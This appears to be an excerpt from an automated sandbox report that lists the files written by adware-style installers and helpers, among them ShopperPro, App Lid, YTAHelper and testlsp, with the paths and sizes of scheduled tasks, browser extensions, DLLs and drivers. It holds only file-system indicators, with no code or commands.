C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp (37848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe (21038 bytes)

The process BB3.tmp:2544 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (297796 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\NSISEncrypt.dll (3439 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp (4 bytes)

The process Dbsuiszoxonm.exe:2680 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\255.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\21.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\41.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins.json (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\2c511d52-7693-4ed4-9079-996023e7571e-1.dll (33633 bytes)
%Program Files% (x86)\App Lid\2e557ab0-2598-41a4-9b03-eb21869ae6cc.exe (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\3.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\263.js (1 bytes)
C:\Windows\Tasks\2c511d52-7693-4ed4-9079-996023e7571e-1.job (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\327655 (1510641 bytes)
C:\Windows\Tasks\f72568d9-a3ec-45be-93e0-9f4ce730882b.job (1560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\17.js (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\182.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\242.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\14.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\78.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\180.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-bho.dll (5441 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\195.js (410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\manifest[1].xml (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\45.js (1 bytes)
%Program Files% (x86)\App Lid\f72568d9-a3ec-45be-93e0-9f4ce730882b.exe (32 bytes)
C:\Windows\Tasks\temp_f72568d9-a3ec-45be-93e0-9f4ce730882b.job (1026 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\ExecDos.dll (13 bytes)
C:\Windows\Tasks\2c511d52-7693-4ed4-9079-996023e7571e-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\86b65daf-0d51-4998-a6fd-557fd718172b.crx (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\281.js (485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\1.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\39.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\md5dll.dll (14 bytes)
C:\Windows\Tasks\2c511d52-7693-4ed4-9079-996023e7571e-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\183.js (2 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e.xpi (2105 bytes)
%Program Files% (x86)\App Lid\1293297481.mxaddon (1552 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.dll (3361 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\234.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\4.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\262.js (1 bytes)
%Program Files% (x86)\App Lid\Newtonsoft.Json.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\40.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\220.js (1552 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.exe (2105 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\64.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\manifest.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\47.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\36.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\InstallerUtils2.dll (3726 bytes)
%Program Files% (x86)\App Lid\utils.exe (90899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\104.js (921 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e.crx (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\94.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\246.js (8 bytes)
%Program Files% (x86)\App Lid\App Lid-codedownloader.exe (7596 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\244.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\269.js (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\43.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\200.js (809 bytes)
%Program Files% (x86)\App Lid\WebSocket4Net.dll (64 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\InstallerUtils.dll (28527 bytes)
%Program Files% (x86)\App Lid\SuperSocket.ClientEngine.Protocol.dll (19 bytes)
%Program Files% (x86)\App Lid\background.html (729 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\2.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\72.js (1552 bytes)
%Program Files% (x86)\App Lid\App Lid-bho64.dll (7385 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\37.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\184.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\9.js (2 bytes)
%Program Files% (x86)\App Lid\Interop.IWshRuntimeLibrary.dll (53 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\StdUtils.dll (30 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-5.exe (7547 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-4.exe (9654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\93.js (953 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\44.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\301.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\13.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\38.js (2 bytes)
C:\Windows\Tasks\2e557ab0-2598-41a4-9b03-eb21869ae6cc.job (71 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-11.exe (15037 bytes)
%Program Files% (x86)\App Lid\SuperSocket.ClientEngine.Common.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\223.js (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\91.js (6584 bytes)
C:\Windows\Tasks\temp_2e557ab0-2598-41a4-9b03-eb21869ae6cc.job (138 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\7.js (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\userCode\extension.js (354 bytes)
%Program Files% (x86)\App Lid\App Lid-bg.exe (5441 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\207.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\102.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\nsisos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\22.js (8 bytes)
%Program Files% (x86)\App Lid\SuperSocket.ClientEngine.Core.dll (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\89837 (395978 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\userCode\background.js (636 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\177.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\42.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsa8F25.tmp (718358 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.exe (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\46.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\2c511d52-7693-4ed4-9079-996023e7571e-4.dll (39329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\28.js (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\35.js (9 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\221.js (415 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\2c511d52-7693-4ed4-9079-996023e7571e-11.dll (50351 bytes)
%Program Files% (x86)\App Lid\App Lid.ico (9 bytes)

The process ins_yta.exe:2524 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB32D2.tmp (144 bytes)

The process testlsp.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2364_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2364.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2364_testlsp.log (1438 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2364_testlsp.log (125191 bytes)

The process YTAHEL~1.EXE:2844 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B1.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\MoreInfo.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\nsProcess.dll (12 bytes)

The process powershell.exe:3056 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\POG4A4IGA7H2TID2ESH3.temp (196 bytes)

The process powershell.exe:2880 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DCXJIBRYY2CIR4GHOEKM.temp (196 bytes)

The process powershell.exe:4084 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ETGS5CAINCTMHOQIWIVE.temp (196 bytes)

The process setup.exe:3204 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu3BB9.tmp (348150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\nsProcess.dll (12 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\MoreInfo.dll (15 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\AccDownload.dll (11671 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\nsExec.dll (14 bytes)

The process WerFault.exe:2136 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_0853889f\Report.wer (194492 bytes)

The process ShopperPro.exe:1744 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process f72568d9-a3ec-45be-93e0-9f4ce730882b.exe:2384 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
%Program Files% (x86)\App Lid\WebSocket4Net.dll (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B90B117906B8A74C79D1BC450C2B94B1_A54F26A8A41DE52C237D54D67F12793F (471 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F4D9C889B7AEBCF4E1A2DAABC5C3628A_22C8E4BF761C7EA1A19DF9254F0D3360 (1504 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B90B117906B8A74C79D1BC450C2B94B1_A54F26A8A41DE52C237D54D67F12793F (1544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F4D9C889B7AEBCF4E1A2DAABC5C3628A_22C8E4BF761C7EA1A19DF9254F0D3360 (471 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)

The process WebPlayer.exe:4032 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78x589b1e936e1f038dc45bd8ffff59b359.png.pagespeed.ic.z-mKIqvmmwfgfqJRMgXY[1].png (23275 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78xf3ad8b396434c21b4c214fd667ee391d.png.pagespeed.ic.UE0vLEh6vWiEUEcOgEs3[1].png (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x59982d8527c0da41e35817e8fc15c0fc.png.pagespeed.ic.fL2V5qF20YFQXTrbuXvg[1].png (10790 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x6a12dc1a298e870b610a58a56ba0f5ec.jpg.pagespeed.ic.uwtHBdtZOQtaPxcmCnam[1].jpg (1 bytes)
